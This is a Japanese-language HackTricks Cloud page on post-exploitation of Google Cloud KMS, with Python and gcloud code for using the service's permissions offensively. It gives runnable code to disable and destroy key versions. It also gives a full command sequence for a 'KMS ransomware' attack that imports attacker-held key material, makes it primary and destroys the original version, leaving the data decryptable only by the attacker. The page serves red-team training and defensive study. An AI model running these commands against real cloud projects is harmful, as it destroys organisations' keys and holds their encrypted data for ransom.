GCP - KMS Post Exploitation
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KMSに関する基本情報は以下で確認できます：
GCP - KMS Enumcloudkms.cryptoKeyVersions.destroyこの権限を持つ攻撃者はKMSバージョンを破壊することができます。これを行うには、まずキーを無効にし、その後破壊する必要があります：
# pip install google-cloud-kms
from google.cloud import kms
def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version):
"""
Disables a key version in Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
# Call the API to disable the key version.
client.update_crypto_key_version(request={'crypto_key_version': {'name': key_version_name, 'state': kms.CryptoKeyVersion.State.DISABLED}})
def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version):
"""
Destroys a key version in Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
# Call the API to destroy the key version.
client.destroy_crypto_key_version(request={'name': key_version_name})
# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
key_version = '1' # Version number to disable and destroy
# Disable the key version
disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)
# Destroy the key version
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)AWSでは、KMSリソースポリシーを変更して攻撃者のアカウントのみがキーを使用できるようにすることで、KMSキーを完全に盗むことが可能です。GCPにはこのリソースポリシーが存在しないため、これは不可能です。
しかし、グローバルKMSランサムウェアを実行する別の方法があります。これには以下のステップが含まれます：
攻撃者によってインポートされたキー素材を持つキーの新しいバージョンを作成する
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]デフォルトバージョンとして設定する（将来暗号化されるデータ用）
以前のバージョンで暗号化された古いデータを新しいもので再暗号化する。
KMSキーを削除する
これで、元のキー素材を持つ攻撃者のみが暗号化されたデータを復号化できる。
# Encrypt something with the original key
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
gcloud kms encrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--plaintext-file my-plaintext-file.txt \
--ciphertext-file my-encrypted-file.enc
# Decrypt it
gcloud kms decrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--ciphertext-file my-encrypted-file.enc \
--plaintext-file -
# Create an Import Job
gcloud kms import-jobs create my-import-job \
--location us-central1 \
--keyring kms-lab-2-keyring \
--import-method "rsa-oaep-3072-sha1-aes-256" \
--protection-level "software"
# Generate key material
openssl rand -out my-key-material.bin 32
# Import the Key Material (it's encrypted with an asymetrict key of the import job previous to be sent)
gcloud kms keys versions import \
--import-job my-import-job \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--algorithm "google-symmetric-encryption" \
--target-key-file my-key-material.bin
# Get versions
gcloud kms keys versions list \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key
# Make new version primary
gcloud kms keys update \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--primary-version 2
# Try to decrypt again (error)
gcloud kms decrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--ciphertext-file my-encrypted-file.enc \
--plaintext-file -
# Disable initial version
gcloud kms keys versions disable \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key 1
# Destroy the old version
gcloud kms keys versions destroy \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--version 1
cloudkms.cryptoKeyVersions.useToEncrypt | cloudkms.cryptoKeyVersions.useToEncryptViaDelegationfrom google.cloud import kms
import base64
def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)
# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')
# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext
# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)
# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
plaintext = 'your-data-to-encrypt'
ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)cloudkms.cryptoKeyVersions.useToSignimport hashlib
from google.cloud import kms
def sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message):
"""
Sign a message using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}
# Call the API to sign the digest.
sign_response = client.asymmetric_sign(name=key_version_name, digest=digest)
return sign_response.signature
# Example usage for signing
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
key_version = '1'
message = 'your-message'
signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
print('Signature:', signature)cloudkms.cryptoKeyVersions.useToVerifyfrom google.cloud import kms
import hashlib
def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}
# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success
# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)サブスクリプションプランを確認してください！
**💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
ハッキングのトリックを共有するには、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してください。
AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE)
